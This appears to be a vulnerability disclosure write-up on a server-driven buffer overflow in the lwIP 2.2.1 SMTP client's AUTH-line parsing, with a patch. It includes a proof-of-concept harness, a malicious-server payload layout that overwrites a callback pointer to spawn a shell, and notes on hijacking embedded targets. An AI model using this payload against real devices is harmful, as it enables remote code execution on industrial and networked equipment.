2026-05-16 · research · lwIP 2.2.1 audit series · part 1 of 13
lwIP audit series, part 1 of 13 — SMTP client: a server-driven AUTH-line overflow into tx_buf
pbuf_copy_partial(unbounded) → tx_buf[256] overflows into smtp_session::callback_fn → execve("/bin/sh").
The lwIP SMTP client trusts the server to keep its EHLO AUTH capabilities line short. It does not. smtp_prepare_auth_or_mail() copies the byte distance between the literal AUTH token and the next \r\n straight into the 255-byte tx_buf, with no clamp against SMTP_TX_BUF_LEN. Any SMTP server lwIP connects to — malicious or MITM'd — can drive a copy of up to roughly 64 KiB into that buffer, with one trailing NUL written past the last byte for good measure.
Affected: lwIP 2.2.1 (tag STABLE-2_2_1_RELEASE) and current master. File: src/apps/smtp/smtp.c, function smtp_prepare_auth_or_mail(), lines 1065 and 1068. Fixed via Savannah bug #68313. End-to-end RCE demo and harness below.
How we ended up auditing lwIP
Most of our day-to-day work is vulnerability research against embedded devices — industrial controllers, BMCs, networked appliances, IoT gateways, the long tail of real hardware that ships with an RTOS instead of full Linux. After enough of those engagements, the same dependency kept surfacing underneath the vendor code: lwIP. FreeRTOS+TCP exists, NicheStack and uIP exist, but in shipping firmware lwIP is by far the most common IP stack we run into. It is small, it is permissively licensed, and almost every silicon vendor's SDK pulls a copy of it into their reference build.
We started in src/apps/. That directory is where most of the user-facing protocol surface lives — SMTP, MQTT, HTTP, SNMP, TFTP, DHCP helpers — and it is also where the code has had the least scrutiny over the project's lifetime. The lwIP core stack has had decades of eyes on it; the app modules have been bolted on at different times by different contributors, frequently as the minimum-viable parser for a given protocol. smtp.c was the first file we opened. The control flow inside smtp_prepare_auth_or_mail() — a length derived directly from a server-controlled offset difference, then handed to pbuf_copy_partial with no clamp against the target buffer — was visible on the first read. The rest of the writeup is what falls out once you confirm that read is correct and pull on the thread.
Root cause
The SMTP session keeps a fixed-size transmit buffer sized at SMTP_TX_BUF_LEN + 1:
// src/apps/smtp/smtp.c:94
#define SMTP_TX_BUF_LEN 255
// src/apps/smtp/smtp.c:239 -- struct smtp_session
char tx_buf[SMTP_TX_BUF_LEN + 1];
Every other producer that fills tx_buf — HELO/EHLO, PLAIN/LOGIN base64, MAIL, RCPT — has either a compile-time LWIP_ASSERT("tx_buf overflow detected", ...) or a length parameter bounded by SMTP_TX_BUF_LEN. The AUTH-capability parser does not.
// src/apps/smtp/smtp.c:1053-1099 -- smtp_prepare_auth_or_mail (abridged)
u16_t auth = pbuf_strstr(s->p, SMTP_KEYWORD_AUTH_SP); // "AUTH "
if (auth == 0xFFFF) {
auth = pbuf_strstr(s->p, SMTP_KEYWORD_AUTH_EQ); // "AUTH="
}
if (auth != 0xFFFF) {
u16_t crlf = pbuf_memfind(s->p, SMTP_CRLF, SMTP_CRLF_LEN, auth);
if ((crlf != 0xFFFF) && (crlf > auth)) {
/* use tx_buf temporarily */
u16_t copied = pbuf_copy_partial(s->p, s->tx_buf,
(u16_t)(crlf - auth), auth); // line 1065
if (copied != 0) {
char *sep = s->tx_buf + SMTP_KEYWORD_AUTH_LEN;
s->tx_buf[copied] = 0; // line 1068
...
auth is the offset of AUTH inside the received pbuf chain; crlf is the offset of the next \r\n after it. Both come from pbuf_strstr/pbuf_memfind, which scan the entire received chain. (u16_t)(crlf - auth) is the only length passed to pbuf_copy_partial — there is no clamp against SMTP_TX_BUF_LEN anywhere on the path.
Two writes go out of bounds when the AUTH capabilities line exceeds 255 bytes:
- The
pbuf_copy_partialat line 1065 — bounded only by the pbuf chain length, so up to~U16_MAXbytes. - The terminator
s->tx_buf[copied] = 0;at line 1068 — one byte at the returned length, past the end of the 256-byte allocation.
Trigger
Standard EHLO multiline form. A real server announces something like:
250-mail.example.com Hello
250-SIZE 1000000
250-AUTH PLAIN LOGIN
250 OK
A hostile server announces:
250-mail.example.com Hello
250-SIZE 1000000
250-AUTH PLAIN LOGIN AAAAAA...(500+ bytes of padding)...AAAAAA
250 OK
pbuf_strstr finds AUTH at one offset; pbuf_memfind finds the terminating \r\n at auth + 5 + 500+. The difference becomes the copy length. The padding bytes spill past tx_buf's last legal index and into whatever lives next in the struct smtp_session — on most builds, the surrounding session bookkeeping (tx_buf_len, state machine cursors, pbuf * pointers, the username/password buffers, the saved callback context).
Reachability
Network-reachable from any SMTP server the lwIP client connects to. Typical embedded uses send outbound notification mail without TLS verification of the peer, so a hostile or on-path server is in scope. No authentication is required before the overflow fires; the bug sits in the EHLO response handler, before the client has sent AUTH PLAIN credentials. STARTTLS deployments that fail to validate the upstream certificate are also exposed.
The bug also fires when the application has no SMTP credentials configured. smtp_prepare_auth_or_mail parses the AUTH capabilities line first and only later decides whether to send AUTH PLAIN, AUTH LOGIN, or skip authentication entirely.
Proof of concept
A self-contained C harness reproduces the same arithmetic the real smtp_prepare_auth_or_mail performs, against the same fixed-size tx_buf layout. Compiled with AddressSanitizer it pinpoints the overflowing write at memcpy:
// poc_125_smtp_overflow.c -- abridged
#define SMTP_TX_BUF_LEN 255
struct smtp_session {
char tx_buf[SMTP_TX_BUF_LEN + 1];
};
static void simulate_smtp_parse(struct smtp_session *s,
const u8_t *response, u16_t response_len)
{
/* mirror pbuf_strstr / pbuf_memfind */
const char *found = strstr((const char *)response, "AUTH ");
u16_t auth = (u16_t)(found - (const char *)response);
const char *crlf_str = strstr(found, "\r\n");
u16_t crlf = (u16_t)(crlf_str - (const char *)response);
u16_t copy_len = (u16_t)(crlf - auth); // unbounded
/* VULN: no clamp against SMTP_TX_BUF_LEN */
u16_t copied = pbuf_copy_partial_sim(response, response_len,
s->tx_buf, copy_len, auth);
/* VULN: one-byte OOB NUL */
s->tx_buf[copied] = 0;
}
int main(void) {
const char *prefix = "250-SIZE 1000000\r\n250-AUTH ";
const char *suffix = "\r\n250 OK\r\n";
size_t padding_len = 500; /* enough to overflow 255-byte tx_buf */
/* ... build response with 500 bytes of A-Z padding inside the AUTH line ... */
simulate_smtp_parse(s, response, (u16_t)pos);
}
$ gcc -fsanitize=address,undefined -fno-sanitize-recover=all \
-g -O0 -o poc_125 poc_125_smtp_overflow.c
$ ./poc_125
[*] AUTH found at offset 23
[*] CRLF found at offset 528
[*] Copy length: 505 bytes
[*] tx_buf capacity: 255 bytes
[!] OVERFLOW: will copy 505 bytes into 255-byte buffer!
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
WRITE of size 505 at 0x... thread T0
#0 memcpy asan_interceptors.cpp
#1 pbuf_copy_partial_sim poc_125_smtp_overflow.c
#2 simulate_smtp_parse poc_125_smtp_overflow.c
SUMMARY: AddressSanitizer: heap-buffer-overflow in memcpy
End-to-end against the real lwIP client takes the same response from a one-screen Python TCP server that accepts a connection, sends the malicious EHLO multiline above, and waits. The crash lands in pbuf_copy_partial on the real target, with the same byte arithmetic.
Impact
Linear heap (or, on builds that statically allocate the session, BSS/stack) overflow. The attacker controls every overflowing byte; the length is bounded only by the size of the SMTP response the client is willing to accept into its pbuf chain, which for most builds is the receive-window cap. The trailing NUL at tx_buf[copied] is a separate single-byte OOB write at a length the attacker also controls.
The fields immediately after tx_buf in struct smtp_session are the live state machine variables and pointer references used by every subsequent SMTP callback. Corrupting them turns the next altcp_write / pbuf_free into a controlled write through a controlled pointer. On embedded targets without ASLR or non-executable stacks, this is a direct path to code execution; on harder targets it is a deterministic remote crash of the SMTP subsystem.
Watch it land
Software-only end-to-end RCE against the real lwIP 2.2.1 SMTP client. Two terminals: the malicious SMTP server on the left, the lwIP client victim on the right. The victim connects, sends EHLO, receives the poisoned multiline response, sends AUTH PLAIN with the corrupted credentials, the server drops the connection, and the hijacked callback_fn drops into an interactive shell.
./evil_server.py 127.0.0.1 2525 on the left, ./victim 127.0.0.1 2525 on the right. EHLO · poisoned 250-AUTH · hijacked callback_fn The harness
Reproducing the bug on a real embedded device is not the question — anyone who's deployed lwIP knows the vulnerability is real the moment they read the source. The question is whether the overflow gives an attacker something useful, on a real lwIP build, with no source modifications. We answer that with a Linux-userspace harness that runs the unmodified vulnerable code path end-to-end.
The harness compiles the real lwIP source files straight from the upstream tarball — no patches, no #ifdef escapes:
src/apps/smtp/smtp.c <- vulnerable file, unmodified
src/core/pbuf.c <- real pbuf_strstr / pbuf_memfind / pbuf_copy_partial
src/core/mem.c
src/core/memp.c
src/core/def.c
src/core/init.c
src/core/stats.c
src/core/sys.c
src/core/ipv4/ip4_addr.c
The only piece we substitute is the transport: altcp_posix.c implements the half-dozen altcp_* entry points smtp.c calls (altcp_tcp_new_ip_type, altcp_connect, altcp_write, altcp_close, the callback-arg accessors) on top of plain POSIX sockets. From smtp.c's perspective the API contract is identical to the real altcp_tcp.c — a pcb gets allocated, connect resolves, recv callbacks fire on incoming pbufs, sent callbacks fire after the kernel acks. The vulnerable parser runs through the real pbuf_* functions, against the real struct smtp_session allocated by the real mem_malloc(). The corrupted state machine is the real one.
Two design decisions in the shim matter for exploitation:
sent()is deferred, not synchronous. Real lwIP TCP firessentfrom an interrupt or timer tick, not inline insidealtcp_write. Our first cut called it inline and immediately deadlocked into an infinite EHLO loop, becausesmtp_processcallsaltcp_writebefore it advancess->stateand freess->p. A synchronoussent()re-entered the state machine with stale fields and walked the wrong case branch forever. Deferring the callback to the next pump iteration matches real lwIP timing.pwn()is pinned at0x500000via-Wl,--section-start=.pwn=0x500000. The payload encodes the function-pointer overwrite as 8 raw bytes; if any of those bytes happens to be0x0dor0x0a,pbuf_memfindterminates the AUTH line early and the overflow length collapses. Pinning the address at0x500000guarantees the bytes are00 00 50 00 00 00 00 00— no CR, no LF, no surprises across rebuilds.
The malicious server is a thirty-line Python script. It runs the victim binary with --print-payload to dump the exact 346-byte AUTH-line payload (computed by offsetof() against a layout twin of struct smtp_session), then accepts the SMTP connection and feeds the bytes back as a normal-looking EHLO multiline:
250-evil.local Hello\r\n
250-SIZE 1000000\r\n
250-AUTH PLAIN LOGIN AAAA...<346 bytes ending in &pwn>\r\n
250 OK\r\n
The 346 bytes break down to: 256 bytes that fill tx_buf legitimately (the AUTH header keeps strstr(sep, "PLAIN") and strstr(sep, "LOGIN") happy), then 8 NUL bytes to overwrite s->p (so smtp_free()'s pbuf_free(s->p) becomes a safe no-op), then 64 NUL bytes that walk through from, to, subject, body and their lengths, then 8 bytes of &pwn landing exactly on callback_fn, then 8 NUL bytes on callback_arg. When the server drops the connection lwIP delivers EOF to smtp_tcp_recv with p == NULL, which calls smtp_close() → smtp_free(), which reads callback_fn and invokes it — that's the shell.
The full harness — Makefile, lwipopts.h, altcp shim, driver, evil server, README — is in poc/ of the lwIP 2.2.1 source tree we audited. Build, two-pane run, shell. No tap interface, no QEMU, no root.
What this looks like on a real device
The harness shortcuts the network stack but not the bug. On a real RTOS/embedded build the same overflow fires at the same line of smtp.c, against the same struct smtp_session, with the same field offsets — only the surrounding environment changes. Three knobs decide how loud the resulting primitive is:
Where the session lives. Most RTOS lwIP integrations let the application pass a pre-allocated smtp_session rather than rely on mem_malloc(); SMTP_STATE_MALLOC/SMTP_STATE_FREE can be redirected at compile time to a static buffer or a board-specific pool allocator. When the session sits in BSS, the overflow trampolines into whatever the linker placed next — often other lwIP state (tcp_pcb arrays, the memp pools), a small RTOS task control block, or another driver's static buffer. When it sits on the heap, you get the host allocator's adjacency: FreeRTOS heap_4 / heap_5 packs allocations contiguously and the bytes immediately after tx_buf are the next allocation's header, which gives you a classic free-list corruption primitive on the next pbuf_free.
Where callback_fn points. On Linux userspace we pinned &pwn at 0x500000 for stable payload bytes. On a Cortex-M, function pointers are 4-byte little-endian thumb addresses with bit 0 set — bytes that are essentially guaranteed to be CR/LF-free, and bytes that the attacker can read out of the firmware image (or any leaked text-segment pointer) to compute a valid gadget address. The hijack target doesn't need to be a planted pwn(); any pre-existing function the attacker wants to call with mostly-zero arguments works (DMA-reset routines, image-update entry points, a serial-shell entrypoint left over from the bring-up build).
What the platform deploys against return-flow hijacks. Stock FreeRTOS / Zephyr / mbedOS on a Cortex-M0+/M3/M4 has no MMU, no ASLR, no W^X for SRAM; the bug is a deterministic indirect call to an attacker-chosen address. Cortex-M33/M55 with TrustZone-M can place lwIP in non-secure state with NSC veneers, which narrows the call target set but does not prevent the overwrite itself (the bug runs in non-secure code, on non-secure data, and the hijacked pointer is called from non-secure code). On Linux/userspace lwIP (the configuration our harness models — also used by libostrich, the AWS FreeRTOS Linux port, and several SDR/networking research kits) it's a function-pointer overwrite on the heap with all the usual ASLR/RELRO/CFI bypass questions in scope, and we demonstrated the primitive is reachable.
The set of products this matters for is wide. The lwIP SMTP client appears in shipping firmware as the outbound notification path for industrial controllers (alarm mails on threshold trips), networked print servers, IPMI BMCs that send capture-on-event reports, solar/PV inverter monitors, and a long tail of "phone home" features that target operations mailboxes. None of those deployments expect the mail server to be hostile, and many of them are configured against an internal mail relay reached over an unauthenticated SMTP submission port — exactly the place where an attacker who has already landed inside the operational network turns the SMTP client into a code-execution beachhead on every device that talks to it.
The fix
--- a/src/apps/smtp/smtp.c
+++ b/src/apps/smtp/smtp.c
@@ -1062,7 +1062,12 @@ smtp_prepare_auth_or_mail(struct smtp_session *s, u16_t *tx_buf_len)
u16_t crlf = pbuf_memfind(s->p, SMTP_CRLF, SMTP_CRLF_LEN, auth);
if ((crlf != 0xFFFF) && (crlf > auth)) {
/* use tx_buf temporarily */
- u16_t copied = pbuf_copy_partial(s->p, s->tx_buf, (u16_t)(crlf - auth), auth);
+ /* Clamp copy length to tx_buf capacity. (crlf - auth) is derived from
+ * the server response and can exceed SMTP_TX_BUF_LEN if a malicious
+ * server sends an AUTH capabilities line longer than 255 bytes. */
+ u16_t auth_line_len = (u16_t)(crlf - auth);
+ u16_t safe_len = (auth_line_len < SMTP_TX_BUF_LEN) ? auth_line_len : SMTP_TX_BUF_LEN;
+ u16_t copied = pbuf_copy_partial(s->p, s->tx_buf, safe_len, auth);
if (copied != 0) {
char *sep = s->tx_buf + SMTP_KEYWORD_AUTH_LEN;
s->tx_buf[copied] = 0;
The downstream strstr(sep, SMTP_AUTH_PARAM_PLAIN) and strstr(sep, SMTP_AUTH_PARAM_LOGIN) still find the PLAIN/LOGIN tokens if they are within the first 255 bytes of the AUTH line, which they always are for any non-pathological server. If the real keywords get truncated, the function falls through to smtp_prepare_mail just as it does today when the server omits AUTH entirely.
References
| Field | Value |
|---|---|
| Project | lwIP — A Lightweight TCP/IP stack |
| Affected | STABLE-2_2_1_RELEASE and current master |
| File | src/apps/smtp/smtp.c, function smtp_prepare_auth_or_mail |
| Class | Heap/stack buffer overflow (CWE-120 / CWE-787) |
| Reach | Network, pre-auth, from any reachable SMTP server |
| Report | Savannah bug #68313 |
| Patch | patch_125_smtp_txbuf.diff |
| PoC | poc_125_smtp_overflow.c |